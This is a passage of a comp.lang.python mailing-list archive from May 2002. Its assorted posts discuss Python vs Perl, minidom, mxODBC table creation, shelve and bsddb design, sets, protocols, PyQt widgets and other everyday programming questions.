11:31 PM: > it's something they're planning to fix in Perl 6 (currently vapourware) Currently being designed. Yes, it's a bit behind schedule, but you can hardly call something vapourware if it's still in the design process (although Parrot [the interpreter] does exist). cheers, -- Iain. From tjreedy at udel.edu Wed May 8 16:13:18 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 08 May 2002 20:13:18 GMT Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> Message-ID: Hi James, Thanks for the report from current real-time computing battlefronts. My only direct real-time experience was writing an analysis program for radiation counts that arrived in batches of three once a minute. I wrote in Basic for a Kaypro connected by a 300/1200 baud serial line. Worked fine. But I understand that things now are often (but not always) quite different. Peter's concern about myth-mongering comes from the following type of exchange: Newcomer Troll: Ha ha. I just ran a comparative test and Python is WAAAY slow. Pythoneer: Can you give us some details? NT: Yeah. My turbo-lang version took 1/100 second and Python took a *whole* second -- 100 times slower. Py: How often will you run this program? NT: One or twice a day. -------- The point which underlies Python but which excapes some is that faster and faster CPUs change the ratio between programmer cost and CPU cost in favor of using more CPU cycles. All most of us want is that people evaluate the tradeoff with current figures instead of data and habits of thought developed two or three decades ago (which some of us had to shed before being comfortable with Python ourselves). -- And yes, there will *always* be new or extended leading edge applications that will sop up every cycle available. For them, the only use for Python is (maybe) as a prototyping language for exploring alternative algorithms. Terry J. Reedy From loewis at informatik.hu-berlin.de Mon May 6 13:57:45 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 06 May 2002 19:57:45 +0200 Subject: Creating C modules for Python under Cygwin In-Reply-To: <20020506165922.GN1668@tishler.net> References: <3CD41CC4.5752F30C@wag.caltech.edu> <20020506131744.GD1668@tishler.net> <20020506165922.GN1668@tishler.net> Message-ID: Jason Tishler writes: > I intend to submit a patch to Python CVS with a clean version of the > above. However my motivation would be greater, if I actually knew > of someone who is really interested in this functionality. Is there > anyone? I wasn't actually suggesting that you work on this; I was merely questioning that it does have to be the way that it currently is. Now that we all agree that it *could* be done differently, the question indeed is whether it should be done differently. In the specific case of Cygwin, it may be worth a try to see whether -Wl,--export-dynamic works - on other systems, that automatically manages to export all symbols from the executable, and indeed Python uses that feature, e.g. on Linux. Regards, Martin From martin at v.loewis.de Sat May 4 03:06:18 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 04 May 2002 09:06:18 +0200 Subject: XML: minidom and problem with getElementsByTagName() References: Message-ID: > Can I make minidom for getting childeren nodes without recursion? Do > getElementsByTagName() method works always with recursion??? Yes, this is how the W3C specified this method, see http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094 If you are only interested in immediate child nodes, I recommend you iterate over childNodes. HTH, Martin From sholden at holdenweb.com Thu May 2 16:27:54 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 2 May 2002 16:27:54 -0400 Subject: Python and ODBC References: <3cd12639$0$15577$626a54ce@news.free.fr> Message-ID: "Uwe Schmitt" wrote in message news:aarrir$b5ub4$1 at hades.rz.uni-sb.de... > "Bruno Li?nard" wrote: > | Maybe a stupid question, but how can we create table with python and ODBC, > | mxODBC for example. I have looked to the doc, but I didn't see anyfind about > | it. > > i think thats a sql question... > Untested code warning. First you need to create an ODBC data source that mxODBC can access. I assume it is called "mydb". import mxODBC as db conn = db.connect("mydb") cursor = conn.cursor() cursor.execute("""CREATE TABLE tbl ( field1 INTEGER PRIMARY KEY, field2 VARCHAR(20))""") # remove next line if autocommit in operation conn.commit() conn.close() I think that's about it. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From m_mariappanX at trillium.com Thu May 2 08:58:52 2002 From: m_mariappanX at trillium.com (Mariappan, MaharajanX) Date: Thu, 2 May 2002 05:58:52 -0700 Subject: pmw scrolled frame widget Message-ID: <53A7943A5BD8D411B6930002A5073155022D7508@bgsmsx90.iind.intel.com> Hi All, How can set the background color of scrolled frame....? self.sf = Pmw.ScrolledFrame(parent, labelpos = 'n', #label_text = 'ScrolledFrame', usehullsize = 1, hull_width = 800, hull_height = 600, ) Maharajan From SBrunning at trisystems.co.uk Fri May 31 09:06:08 2002 From: SBrunning at trisystems.co.uk (Simon Brunning) Date: Fri, 31 May 2002 14:06:08 +0100 Subject: What does Python offer? Message-ID: <31575A892FF6D1118F5800600846864DCBD29D@intrepid> > From: aahz at pythoncraft.com [SMTP:aahz at pythoncraft.com] > >This could start to look like a disadvantage if phrased slightly > >differently... we're not saying that the whole Python edifice will > >crumble if one man disappears, are we? I hope that's not what you > >mean. > > Nobody knows. There isn't any official policy about what happens if > Guido gets hit by a beer truck. OTOH, the infrastructure won't just > crumble; the problems are all political, and there's no reason to > believe (particularly now that PSF exists) that some solution can't be > found. All the same, I'd still rather that he *wasn't* hit by a beer truck. Guido dead, *and* spilt beer - what a catastrophe. Cheers, Simon Brunning TriSystems Ltd. sbrunning at trisystems.co.uk ----------------------------------------------------------------------- The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution, or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot accept liability for statements made which are clearly the senders own. From sheershion at mailexpire.com Thu May 30 11:02:33 2002 From: sheershion at mailexpire.com (Robert Amesz) Date: Thu, 30 May 2002 15:02:33 -0000 Subject: Browsing a big mailbox offline References: <2002529-10584-626303@foorum.com> Message-ID: Chris Liechti wrote: > Sebastien SAUVAGE wrote in > news:2002529-10584-626303 at foorum.com: >> I'm looking for a convenient way for browsing *offline* the >> marvellous comp.lang.python archive (a nice 397 Mb mailbox file >> available at http://mail.python.org/pipermail/python-list/ ) >> >> I found no news client capable of reading/importing a raw unix >> mailbox. Does anybody know a news client capable of this ? >> (platform : Windows) > > XNews http://xnews.newsguy.com/ uses that format too. (create an > archive and replace the file with yours) (very nice NNTP client) > Opera, the mail client, just replace an existing mailbox file with > yours. WARNING: Much as I love Xnews, it is NOT, I repeat NOT suitable as a general MBX-viewer. It is very choosy about the format of the 'from' lines which mark the start of a post, and if Xnews doesn't recognize the 'from'-lines it (almost?) always damages the file. It wouldn't be very hard to write a small python script which puts the 'from'-lines in the form Xnews _can_ handle, but that's another question altogeteher. OTOH, 397 Meg is quite a mailbox; I wouldn't want to guess how long it will take to create the index file for that one... Robert Amesz From siegfried.gonzi at kfunigraz.ac.at Thu May 16 15:49:42 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Thu, 16 May 2002 21:49:42 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE4075A.CBC21AD@noaa.gov> <3CE40C73.656A81B4@kfunigraz.ac.at> Message-ID: <3CE40D56.41D88AA1@kfunigraz.ac.at> Siegfried Gonzi wrote: > The same task now on my 1000 MHz Celeron, 256MB, laptop takes > theoretically about 30 minutes; but practically it never ends. Typo: The same task now with Python! S. Gonzi From pyth at devel.trillke.net Wed May 8 06:36:06 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 8 May 2002 12:36:06 +0200 Subject: survey: is shelve broken? should it be fixed? In-Reply-To: References: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> <02050723584800.09434@arthur> <20020507221623.GP4604@devel.trillke> Message-ID: <20020508103606.GR4604@devel.trillke> Alex Martelli wrote: > On Wednesday 08 May 2002 12:16 am, holger krekel wrote: > ... > > Might i ask whether you read my suggestion to > > implement the "smart"-switch at the global module level? > > Yes, you might:-). > > Unfortunately, globals always have downsides as well as sometimes pluses. > > Say my program uses frameworks A, B, and C. How ever should I know > which of those frameworks uses shelve, and how it uses it? What if > framework B happens to need shelve's old behavior -- how shall a global > flag in module shelve deal with that? If shelve.open's behavior is > controlled with a local argument, each shelve.open is responsible to know > whether it needs old or new behavior or is indifferent. This is doable. If > the control is less fine-grained, and must apply to ALL shelve.open's in > several independently developed frameworks used by the same program, > I don't think the problem is even theoretically solvable. I wonder if this isn't actually only of theoretic importance in our special case... > It's convenient for middling/small programs which have a few calls to > shelve all under the program author's control. > > It's poisonous for very large programs. > Globals are often this way. Handy for a middling program, disaster as > the program scales up. Globally that's a valid point. I'd add that different behaviours for shelve in a largish application don't make things easier. If you have a shelve instance somewhere you don't really know which behaviour it adheres to. I argued in another posting that with the 'global switch' you can encapsulate version-dependent *fixes* basically like so: assert(pythonversion>2.2.4) if pythonversion < 3.0: shelve.returncopies=0 somemodule.otherfix=1 This program will run *without changes* on newer (fixed) python-versions. And if python3 or python4 don't want to take care of old broken behaviour this script will still run fine. Plus if you insist on using the old behaviour (to be compatible with python2 and python1.5.2) you can say: assert(pythonversion<3.0) if pythonversion > 2.3: shelve.returncopies=1 and your code will run on every version up to the one where the broken behaviour is not allowed any more. Generally i would *try* to avoid scattering version-dependent code all over the place. This is really annoying for authors and users. If this doesn't convince you maybe you could agree to this: - have a global default value - have a keyword-argument that modifies the instance's behaviour and in the absence of the keyword-argument defaults to the global value. This changes very few lines of your patch and everyone willing to mix behaviours in large programs could still do so. Then i could at least choose to globally work with the 'fixed' behaviour rather than passing keyword-arguments everywhere. Note that a large program mixing behaviour will be incompatible with older python versions *and* incompatible with new-enough versions (unless python keeps the switch in forever, sigh). More generally, we are talking about a scheme to introduce *fixes* for 'unpythonic/unexpected/astonishing' behaviour that needs to be preserved for one or two years in case somebody relied on it. But we should *try* to make it easy for someone to choose to - rely on old behaviour (drop compatibility with new-enough pythons) - rely on new behaviour (drop comptatibility with too-old pythons) - rely on mixed behaviours (drop compatibility with too-old and too-new pythons). regards, holger From donn at drizzle.com Thu May 30 00:09:07 2002 From: donn at drizzle.com (Donn Cave) Date: Thu, 30 May 2002 04:09:07 -0000 Subject: Why no open(f, "w").write()? References: <83n0uimmal.fsf@panacea.canonical.org> <7i66169wbp.fsf@enark.csis.hku.hk> Message-ID: <1022731746.143537@yasure> Quoth Isaac To : ... | Garbage collection is for collecting memory. So for memory matters, you can | (and actually, must) give up the control to the garbage collector. For | anything else, you *must* do it explicitly. Surely you shouldn't lock a | mutex and remove the reference to the mutex, hoping that the garbage | collector will unlock it quickly enough. You're describing a language other than C Python. In C Python, you *may* close files and rely on other kinds of finalizations through the reference counting garbage collector, and the result is as timely as if you did it explicitly. That's finalization as it ought to be, and it's a shame that other languages compromise on that. Lots of people don't think it's important, but then the majority of programmers think it's OK that their programming language requires them to keep track of memory in the same way. Donn Cave, donn at drizzle.com From tismer at tismer.com Tue May 28 05:25:12 2002 From: tismer at tismer.com (Christian Tismer) Date: Tue, 28 May 2002 02:25:12 -0700 Subject: Reminder: European Python and Zope Conference 2002 (EuroPython) References: <3CF348F5.8010007@lemburg.com> Message-ID: <3CF34CF8.9070608@tismer.com> M.-A. Lemburg wrote: > As one of the EuroPython organizers, I would like to remind > you that the early bird registration period is coming to an end. > It is only available until May 31st, so... > > Register now and enjoy the most exiting European Python > event this year ! Q.: Do speakers have to register as well? -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From barbaros at lmc.fc.ul.pt Thu May 23 11:45:50 2002 From: barbaros at lmc.fc.ul.pt (Cristian Barbarosie) Date: 23 May 2002 08:45:50 -0700 Subject: Here's my common prefix code (Re: suggestion for os.path.commonprefix) References: <3CEC5E05.396422FC@replyto.address.invalid> Message-ID: <6c575772.0205230745.29dcca04@posting.google.com> Greg Ewing wrote in message news:<3CEC5E05.396422FC at replyto.address.invalid>... > I wrote some path utilities a while ago, including > a common prefix finder, and I didn't use os.sep or > os.altsep. Instead, I picked the paths apart using > os.path.split and compared the elements. You should not have changed the subject line, I almost missed your post. Thank you for the code. Cristian Barbarosie http://www.lmc.fc.ul.pt/~barbaros From martin at v.loewis.de Fri May 10 02:30:40 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 10 May 2002 08:30:40 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: Erno Kuusela writes: > | You mean, non-english-speaking people are prevented from using FORTRAN > | and C? Can you name someone specifically? I don't know any such person. > > i don't know such people either. but since many people only know > languages that aren't written in ascii, it seems fairly probable that > they exist. I really question this claim. Most people that develop software (or would be interested in doing so) will learn the latin alphabet at school - even if they don't learn to speak English well. Regards, Martin From phd at phd.pp.ru Thu May 30 11:42:40 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Thu, 30 May 2002 19:42:40 +0400 Subject: Survey: bsddb is definitely broken. Should it be fixed, or deprecated? In-Reply-To: <15606.17548.34442.644412@12-248-41-177.client.attbi.com>; from skip@pobox.com on Thu, May 30, 2002 at 10:26:04AM -0500 References: <4c877253.0205091721.6f675f81@posting.google.com> <15606.17548.34442.644412@12-248-41-177.client.attbi.com> Message-ID: <20020530194240.G2491@phd.pp.ru> On Thu, May 30, 2002 at 10:26:04AM -0500, Skip Montanaro wrote: > import anydbm > anydbm._names = ['gdbm', 'dbm', 'dumbdbm'] > > or some other combination of suitable module names. Messing with that in > the core is not really a very good option, since shuffling that list will > cause existing code to break (won't be able to open existing databases). No, you are wrong. anydbm opens existing database by using whichdb module, and thus it can open any existsing database recognized by whichdb. (But I am not supporting core change, anyway :) Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From saramard at camerond.tin.it Fri May 10 13:01:52 2002 From: saramard at camerond.tin.it (Sara D'Amico) Date: Fri, 10 May 2002 19:01:52 +0200 Subject: How to access to a remote db References: Message-ID: Hi Steve, thanks for your quickness. I'm trying to extend a network based on microsoft system with linux servers in a school, for my thesis' project. I used samba with linux to implement a ms NT Primary Domain Controller, and a friend of mine is designing the db using MS Access. I should get the info about students from that db; and then create the accounts for the authentication procedure in the network. I thought to use a table to store the usernames in the db. Then the PDC accesses to the db and adds the user's accounts. So the problems are: the remote access and the PDC's update. I hope you'll understand something in all this mess. Thank you very much Sara From juenglin at informatik.uni-freiburg.de Tue May 28 09:00:19 2002 From: juenglin at informatik.uni-freiburg.de (Ralf Juengling) Date: 28 May 2002 06:00:19 -0700 Subject: Is 'isinstance()' the right thing? References: <3CCE5F2A.1103E744@alcyone.com> Message-ID: Alex Martelli wrote in message news:... > Ralf Juengling wrote: > ... > . So far I think I managed to explain it well enough to get the > BDFL to agree this would be good IF Python had 'interfaces' as a concept > separate from types and classes, so that 'requiredProtocol' would have > to be an 'interface'. I just can't manage to explain why types or > classes would be just as good in the 'requiredProtocol' role as would > be 'interfaces', so there's no need to wait for the latter and 246 > could just be allowed to go ahead now. Oh well... one day I'll get some > inspiration for how to go about it... I must admit, I don't know the precise definition of an 'interface' nor that of a 'protocol' (are there widely accepted ones?). My idea of a protocol is that of a 'set of functions or methods' which are to be used in a certain way (the functions signatures) for a certain purpose (what the functions do). The specification of the latter is done by the inventor of protocol. Until recently, I used 'interface' and 'protocol' synonymic, but just realized that 'interfaces' seem to be a more general concept, comparable to classes. (One can inherit from an existing interface and modify it and so on.) In the rest, I focus on 'protocols' as roughly defined above. What I still do not understand: Why aren't types not the right machinery for specifying the support of a protocol? Whenever someone introduces a new protocol, he would set up a new abstract type (or class), say (to become more Python related at the end) class _iterator_: """This is an abstract class defining the iterator protocol """ def __iter__(self): raise NotImplementedError def next(self): raise NotImplementedError for the iterator protocol. Any class implementing the iterator protocol would be a subclass of '_iterator_' (probably among others) to signal, it is implementing this protocol. To make sure, that an argument of my function is indeed an iterator, assert isinstance(arg, _iterator_) would be sufficient then. Since we have multiple inheritance, it would not be a big deal to support this kind of type-based protocol checking. So, why isn't it there? Regards, Ralf From dalke at dalkescientific.com Fri May 3 11:12:16 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 3 May 2002 09:12:16 -0600 Subject: Python vs. Perl, which is better to learn? References: <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <91acf731.0205030642.580a9c59@posting.google.com> <82pu0dl1ti.fsf@acropolis.localdomain> Message-ID: Patrick W: >FYI, recent versions of Python also support the "Uniform Access >Principle" via "properties" (like Delphi and, now, C#). Not sure which >version of Python introduced this, but it's a nifty little >enhancement, IMO. Or to fogies like me, __getattr__ / __setattr__ / __delattr__ have been around for a long time and solve that task. Andrew dalke at dalkescintific.com From peter at engcorp.com Sun May 26 01:13:41 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 26 May 2002 01:13:41 -0400 Subject: Another OOP question. References: Message-ID: <3CF06F05.E4507C05@engcorp.com> SA wrote: > > The following is an example class from a tutorial: > > class Message: > def __init__(self, aString): > self.text = aString > def printIt(self): > print self.text > > Let me see if I am understanding the structure correctly. __init__ is used > first to initialize the class. Self refers to the class. Astring is the > variable passed to the class from code outside the class. PrintIt is called > from outside code to print the variable loaded in the class. > > Ok. Given that this is an overly simplistic explanation, is this the correct > interpretation of this class? Almost, but not quite, at least in your terminology. Replace all instances of "class" with "object" or "instance" after you say "Let me see..." and you'll have it about right... (The class is like a template for objects. You instantiate or create objects "outside" the class, and those are what "self" refers to in the template: a future object-to-be, fresh from the mould that is the class.) You might also use "field" instead of "variable" in the above, to be even closer to classic usage, or maybe "attribute" or "property". These data items held in an object are usually distinguished in this way from those variables which might exist only temporarily inside one of the methods (what you call a function inside a class). -Peter From ruediger.maehl_nospam at web.de Thu May 30 08:24:07 2002 From: ruediger.maehl_nospam at web.de (Ruediger Maehl) Date: Thu, 30 May 2002 14:24:07 +0200 Subject: How to concatenate list members References: Message-ID: "holger krekel" wrote > 1) "sep".join(somelist) > > joins all objects in somelist (but the objects must of string-type!) > > 2) "sep".join(map(str, somelist)) > > joins the string-representations of all objects in somelist > > regards, > > holger Thanks a lot, I will use 2) R?diger From kragen at pobox.com Wed May 22 02:32:02 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 22 May 2002 02:32:02 -0400 Subject: more embedding into C woes: crt1.o compile error References: Message-ID: <83d6voitgd.fsf@panacea.canonical.org> spam at fisher.forestry.uga.edu (Chris Fonnesbeck) writes: > When trying to compile the code at the bottom of this message, I get > the following error: > > /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../crt1.o: In function > `_start': > /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../crt1.o(.text+0x18): > undefined reference to `main' That means you told gcc to build a runnable program (as opposed to a .o program or a shared library), but there was no 'main' function, so it couldn't. From martin at v.loewis.de Mon May 13 02:16:00 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 13 May 2002 08:16:00 +0200 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> <87bsbmg9is.fsf@tleepslib.sk.tsukuba.ac.jp> <87elgientw.fsf@tleepslib.sk.tsukuba.ac.jp> <87d6w0bpyy.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > Martin> Why does it help to have "UTF-16" to be a synonym to > Martin> either "UTF-16BE" or "UTF-16LE", but not telling anybody > Martin> what it is a synonym to? > > Ask whoever implemented a UTF-16 codec for python, not me. Evidently > there's a good reason for it. In Python codecs, UTF-16 is *not* a synonym for UTF-16LE or BE; instead, it adds the BOM (which the other two don't). You were suggesting to omit the BOM, so I asked how that would help. > The fact is that the current implementation is just begging to produce > broken output that will be invisible to anyone who has a Unicode- > capable console. And that the only way to avoid it (without rewriting > all the APIs to pass Unicode objects instead of pre-encoded strings) > is really ugly code like the code I presented earlier. No, that is not the only way. Just use UTF-16BE, and all will be fine. Regards, Martin From a-steinhoff at web.de Wed May 22 03:33:17 2002 From: a-steinhoff at web.de (Armin Steinhoff) Date: 22 May 2002 00:33:17 -0700 Subject: Is python really slow? References: <20020522112253.C4474@regdp-02.intint.registriesltd.com.au> <20020522013941.32B0338F50@coffee.object-craft.com.au> Message-ID: Alexander wrote: >Actually I've created array and did something like this : >for k in xrange(1,10000): > for m in range(1,10000): > x[m] = .... #some calculation of the value of an array's element x[m] >and this work's realy slow compared to C. I don't mind it working 3 times >slower, but .. >Perhaps it is possible, to do something like implementing loops in C inside >Python ?? >(though it seems to me it will not help) Trey Pyrex .. it's a cool tool :) http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/ Armin From python at floSoft.org Tue May 28 16:42:17 2002 From: python at floSoft.org (steindl fritz) Date: Tue, 28 May 2002 20:42:17 GMT Subject: variable X procuct - [(x,y) for x in list1 for y in list2] Message-ID: <1022619068.34271@newsmaster-04.atnet.at> hi list, first - maybe sombody can help me with the english expression for the german word 'kreuzprodukt' - this my question is dealing with ----------------------------------------------- example - list1 = [1, 2] list2 = [a, b, c] [(x,y) for x in list1 for y in list2] the result is the "kreuzprodukt" [(1,a), (1,b), (1,c), (2,a), (2,b), (2,c)] ----------------------------------------------- question - i need to keep the number of lists variable e.g. the next case should handle three lists [(a1, a2, a3) for a1 in list1 for a2 in list2 for a3 in list3] i cannot put variables into this algorythm or they don't do what i expect maybe there is a simple solution, but i cannot find it fritz (-:fs) From jb at cascade-sys.com Fri May 17 22:37:50 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 19:37:50 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> Message-ID: <3CE5BE7E.EF497C6D@cascade-sys.com> Erik Max Francis wrote: > I see. Certainly it's not inconceivable that some might use sets in > this manner, but it seems just as likely, if not more so, that people > would want sets (themselves) to be mutable, so that objects can be added > and removed. But fundamentally, this is like saying long integers must be mutable because people will want to set and clear individual bits. Or that strings must be mutable because people will want to append and truncate. Sure it's necessary to compute new set values but they don't require that the underlying type be mutable. I wonder if you are perhaps too deeply attached to a particular implementation? > Certainly having the sets themselves, like tuples, being immutable > eliminates the question of what kind of elements can be contained within > them, but that seems extremely limiting. The goal here is finding the > right balance between usefulness and arbitrary limitations. I hadn't considered the implication of mutable objects as set members. If you allow an arbitrary list/tree structure to be members, how do you decide if it's in the set or not? You only consider the list object itself or do you look at its overall value? Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From nhodgson at bigpond.net.au Fri May 10 21:31:03 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Sat, 11 May 2002 01:31:03 GMT Subject: Multibyte Character Surport for Python References: Message-ID: Chris Liechti: > > And good, descriptive names are one of the bedrocks of > > good software. > > true, but how i'm supposed to use the nice chinese module which uses class > names i can't even type on my keyboard? You can type Chinese names on your keyboard using a Chinese Input Method Editor. I run Windows 2000 in an Australian English locale, but when I want to type Japanese change to the Japanese IME which is quite easy to use. Neil From joost_jacob at hotmail.com Sat May 4 15:28:21 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 4 May 2002 12:28:21 -0700 Subject: making python scripts backwards compatible Message-ID: <13285ea2.0205041128.51eda313@posting.google.com> I would like to make a request. Today I spent again some time converting python code. It was in the SimpleXMLRPCServer.py file. I wanted to use it remotely on another computer but it gave errors because of list comprehension and using the "".method() syntax instead of importing string. The reason was that other computer was still running python 1.5.2. I could not upgrade the remote computer (no root access) and even if i could the problem would come up soon again when the (mobile agent-)program relocated. So the request is this: If you write code that could be used by people or systems based on python 1.5.2 please make sure your code is backwards compatible to 1.5.2. If that is too much work, please mention the python version you need to use it somewhere in the top of your source. Especially for networking software. At least until Red Hat upgrades their @#$%^&! default python installation on all those computers that are going to run their OS. Every brand new computer today that is having even the latest Red Hat installed can hit you with problems like this! How many would there be? Maybe I should start a petition website for Red Hat python. Maybe i could write a module that makes a python script backwards compatible. Hmm. Let me first try to keep using python at my job. Oh, I love the new additions and improvements in python 2.2. Wish I could use it all. Stuck. Did a google for "1.5.2" on c.l.p, sort by date. There is a posting from nearly every day. So-many-things-to-do--so-little-time-'ly-yrs From scheff at bigfoot.de Wed May 8 05:32:49 2002 From: scheff at bigfoot.de (Tim Scheffler) Date: 8 May 2002 02:32:49 -0700 Subject: Problems with Py.assert in jython2.1 and java 1.4 Message-ID: <5ec37a54.0205080132.23c80260@posting.google.com> Dear all, I'm a newby to jython (and to java) and I am desperately trying to implement the Console.py demo as an applet. Trying to jythonc-compile an "applet"-modified version of the Console.py I am running into errors of the following kind: """ .\jpywork\javaos.java:965: warning: as of release 1.4, assert is a keyword, and may not be used as an identifier if (frame.getglobal("__debug__").__nonzero__()) Py.assert(frame.getl ocal(0).__getattr__("environment").invoke("items").__not__(), s$107); """ I am using Windows-NT. Is jython not compatible with java 1.4? Any help/suggestions are welcome. Regards, Tim From aleax at aleax.it Fri May 3 03:29:32 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 07:29:32 GMT Subject: Killing a running thread References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> Message-ID: Alexander Skwar wrote: > ?Alex Martelli? sagte am 2002-05-02 um 15:32:48 +0000 : >> try: >> map(myfunction, somehumongoushugelist) >> except OuttaHere: >> pass > > Yes, this idea also occured to me. If I'm not mistaken, this should > break out of the map, no? Yep! Indeed, if your map is called within some other function etc, you may move the try/except statement outwards as much as you want -- every intermediate level of call will also terminate (with try/finally statements executing their finalizers as you pop). Some people dislike this use of exceptions, but I think it's quite Pythonic and useful. Alex From ianb at colorstudy.com Wed May 8 22:27:52 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 08 May 2002 21:27:52 -0500 Subject: Python Enterprise Objects In-Reply-To: References: Message-ID: <1020911272.487.19.camel@localhost> On Wed, 2002-05-08 at 20:47, Wenshan Du wrote: > hi,all > I like python very much, but I find that python is not very suitable > for enterprise application for now. So, I make a project named Python > Enterprise Objects for enterprise application at sourceforge.net. I > want it to be a replacement of J2EE, or Mirosoft .Net framework. Some > API will added. I need some advice about how to make this dream to > fact. Maybe a good place to start would be by writing a document to explain why enterprise objects are necessary, and how they differ from present Python facilities. I haven't used Java myself, but I've tried more than once to figure out what J2EE was about. Mostly I've just found endless buzzwords, but when people have tried to explain it without those it seems to come down to being a mechanism for distributing code. Anyway, Java makes a lot of fuss about a lot of things that Python just does, without any fuss. So maybe you can explain what enterprise objects are, and why they are needed, and why you can't accomplish the same things with existing Python facilities. Ian From llothar at web.de Tue May 7 07:47:35 2002 From: llothar at web.de (Lothar Scholz) Date: Tue, 07 May 2002 13:47:35 +0200 Subject: sending Control-C to a python application Message-ID: Under windows i use the function GenerateConsoleEtrlEvent(CTRL_C_EVENT,pid) but this terminated the python process ! Shouldn't it only generate a "KeyboardInterrupt" exception ? CTRL_BREAK_EVENT also terminates the process. From erno-news at erno.iki.fi Thu May 16 03:08:25 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 16 May 2002 10:08:25 +0300 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> <4f52f844.0205151504.181f5cf0@posting.google.com> Message-ID: In article <4f52f844.0205151504.181f5cf0 at posting.google.com>, spam at bugbear.com (Paul Graham) writes: | Although you can't modify variables from outer scopes, you can | modify *parts* of them (which to me seems like the same thing...) you can dereference variables from outer scopes, but you cannot rebind them to point to new objects. you can change the objects the variables point to (if they are not immutable, of course). x += 1 would (potentially) re-bind the variable, ie set the name to point to a new object, and you can't do that to variables from outer scopes. if your object had an increment() method, you could call that. -- erno From deltapigz at telocity.com Tue May 14 00:23:34 2002 From: deltapigz at telocity.com (Adonis) Date: Tue, 14 May 2002 00:23:34 -0400 Subject: PyQt question Message-ID: <3ce0954d$1_5@nopics.sjc> on a QTextView object, how do i send it text? i have looked around and the information is way too overwhelming and in most cases unclear, considering im a newbie to PyQt. this is what i have so far.. any help would greatly be appreciated. Adonis dont be deceived.. this is all Qt Designers work + pyuic: ... self.cmdStart = QPushButton(self.ButtonGroup1,'cmdStart') self.cmdStart.setGeometry(QRect(10,20,100,30)) self.cmdStart.setProperty('text',QVariant(self.tr("Start Server"))) self.txtStatus = QTextView(self,'txtStatus') self.txtStatus.setGeometry(QRect(140,6,600,468)) self.txtStatus.setProperty('minimumSize',QVariant(QSize(0,0))) self.txtStatus.setProperty('maximumSize',QVariant(QSize(32767,32767))) txtStatus_font = QFont(self.txtStatus.font()) txtStatus_font.setFamily('Courier New') txtStatus_font.setBold(0) self.txtStatus.setFont(txtStatus_font) self.txtStatus.setProperty('frameShape',QVariant(QTextView.StyledPanel)) self.txtStatus.setProperty('frameShadow',QVariant(QTextView.Sunken)) self.txtStatus.setProperty('hScrollBarMode',QVariant(QTextView.Auto)) self.connect(self.cmdStart,SIGNAL("pressed()"),self.txtStatus,SLOT("setFocus ()")) ... From aahz at pythoncraft.com Mon May 6 01:14:31 2002 From: aahz at pythoncraft.com (Aahz) Date: 6 May 2002 01:14:31 -0400 Subject: OT: mail-news gateway question References: Message-ID: In article , Philip Swartzleonard wrote: >Aahz || Sun 05 May 2002 12:34:52p: >> >> Note that c.l.py is a bidirectional gateway; many people post directly >> to the newsgroup. People who post to python-list should all have the >> same NNTP-Posting-Host. You can tell gatewayed e-mail by looking for >> the X-Mailman-Version header (or any of several other obvious headers). > >You can also tell it in a threaded newsreader (xnews at least), because >the 